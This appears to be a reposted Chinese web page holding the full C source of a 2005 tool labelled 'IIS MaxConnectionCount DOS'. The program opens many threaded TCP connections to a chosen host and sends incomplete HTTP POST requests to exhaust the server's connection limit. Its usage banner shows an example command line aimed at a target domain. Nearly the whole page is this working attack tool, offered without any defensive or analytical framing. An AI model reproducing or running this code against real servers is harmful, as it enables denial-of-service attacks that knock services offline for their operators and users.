| 关键词: nbsp ptr NextEntryDelta SystemInformatio ULONG STATUS curr FileInformationB name DWORD |
#include "winsock.h" #include "stdio.h" #include "string.h" #include "io.h" #pragma comment(lib,"ws2_32.lib") #define BUFLEN 1024 #define MAXThreadCount 10 //设置最大线程数 int ThreadCount=0; struct mydata { char *ip; int port; }; unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } DWORD WINAPI Dos(LPVOID lpParam ) { mydata *csdn = (mydata*)lpParam; struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(csdn->port); server.sin_addr.s_addr = resolve((char*)csdn->ip); if(server.sin_addr.s_addr==0) { printf("Don’t find address %s ",(char*)csdn->ip); exit(0); } int my; char buf[100]="POST / HTTP/1.1 Host: "; strcat(buf,(char*)csdn->ip); strcat(buf," Content-Length: 10 "); my=socket(PF_INET,SOCK_STREAM,0); if(my==INVALID_SOCKET) { printf("ERROR"); exit(0); } if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR) { printf("Socket ERROR:%d",GetLastError()); exit(0); } if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");} ThreadCount--; return 0; } void thread ( char *a1 , char *a2 , char *a3 ) { static mydata tmp; tmp.ip = a1; tmp.port = atoi(a2); DWORD dwThreadId; HANDLE hThread; WSADATA ws; if (WSAStartup( MAKEWORD(2,2), &ws )!=0) { printf(" [-] WSAStartup() error "); exit(0); } hThread = CreateThread( NULL, // no security attributes 0, // use default stack size Dos, // thread function &tmp, // argument to thread function 0, // use default creation flags &dwThreadId); // returns the thread identifier if (hThread == NULL) printf( "CreateThread failed." ); ThreadCount++; Sleep(200); //延时,否则CPU会用满…… CloseHandle(hThread); } int main(int argc, char* argv[]) { int i=0; if(argc!=4) { printf(" \tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005 "); printf("-Usage: "); printf("%s ",argv[0]); printf("-Example: %s www.target.com 80 300 ",argv[0]); return 0; } printf("Starting DOS.............Ctrl + C break "); while( i < atoi(argv[3]) ) { if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;} } while( 1 ){ } WSACleanup(); return 0; } |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|